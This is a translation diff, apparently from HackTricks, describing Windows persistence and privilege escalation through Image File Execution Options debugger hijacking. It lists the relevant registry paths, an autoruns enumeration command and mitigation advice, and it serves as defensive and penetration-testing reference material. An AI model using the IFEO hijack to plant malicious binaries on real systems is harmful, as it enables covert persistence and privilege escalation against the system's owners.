请注意,注册表中将包含每个dll的1个新注册表,并由**CLSID**表示。您可以在`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`中找到CLSID信息。
|
||||
请注意,注册表中将包含每个dll的1个新注册表项,并由**CLSID**表示。您可以在`HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`中找到CLSID信息。
|
||||
|
||||
### 字体驱动程序
|
||||
|
||||
|
@ -310,19 +310,15 @@ The Image File Execution Options (IFEO) is a Windows feature that allows develop
|
|||
|
||||
When a program is launched, the operating system checks if there are any IFEO entries for that program in the Windows Registry. If an IFEO entry exists, the specified debugger is launched instead of the original program. This can be used to execute arbitrary code with elevated privileges.
|
||||
|
||||
当一个程序被启动时,操作系统会检查Windows注册表中是否存在该程序的任何IFEO条目。如果存在IFEO条目,则启动指定的调试器而不是原始程序。这可以用来以提升的权限执行任意代码。
|
||||
当一个程序被启动时,操作系统会检查Windows注册表中是否存在该程序的任何IFEO条目。如果存在IFEO条目,则会启动指定的调试器而不是原始程序。这可以用来以提升的权限执行任意代码。
|
||||
|
||||
To escalate privileges using IFEO, an attacker can create a new IFEO entry for a system utility or a trusted application that runs with higher privileges. The attacker can specify their own malicious binary as the debugger, which will be executed with elevated privileges whenever the targeted program is launched.
|
||||
|
||||
要使用IFEO提升权限,攻击者可以为系统实用程序或以较高权限运行的受信任应用程序创建一个新的IFEO条目。攻击者可以将自己的恶意二进制文件指定为调试器,每当目标程序启动时,该恶意二进制文件都会以提升的权限执行。
|
||||
要利用IFEO提升权限,攻击者可以为系统实用程序或以较高权限运行的受信任应用程序创建一个新的IFEO条目。攻击者可以将自己的恶意二进制文件指定为调试器,每当目标程序启动时,该恶意二进制文件都会以提升的权限执行。
|
||||
|
||||
This technique can be particularly effective for privilege escalation because it allows an attacker to execute code with the same privileges as the targeted program, which may include administrative privileges.
|
||||
To prevent privilege escalation through IFEO, it is recommended to regularly monitor the IFEO entries in the Windows Registry and remove any suspicious or unnecessary entries. Additionally, restricting write access to the IFEO registry keys can help mitigate this attack vector.
|
||||
|
||||
这种技术对于提升权限特别有效,因为它允许攻击者以与目标程序相同的权限执行代码,这可能包括管理员权限。
|
||||
|
||||
To prevent privilege escalation through IFEO, it is recommended to regularly monitor the Windows Registry for any suspicious IFEO entries. Additionally, restricting write access to the IFEO registry keys can help mitigate this attack vector.
|
||||
|
||||
为了防止通过IFEO进行权限提升,建议定期监视Windows注册表以查找任何可疑的IFEO条目。此外,限制对IFEO注册表键的写访问可以帮助减轻这种攻击向量。
|
||||
为了防止通过IFEO进行权限提升,建议定期监视Windows注册表中的IFEO条目,并删除任何可疑或不必要的条目。此外,限制对IFEO注册表键的写访问可以帮助减轻这种攻击向量。
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
|
@ -343,9 +339,9 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -354,9 +350,9 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|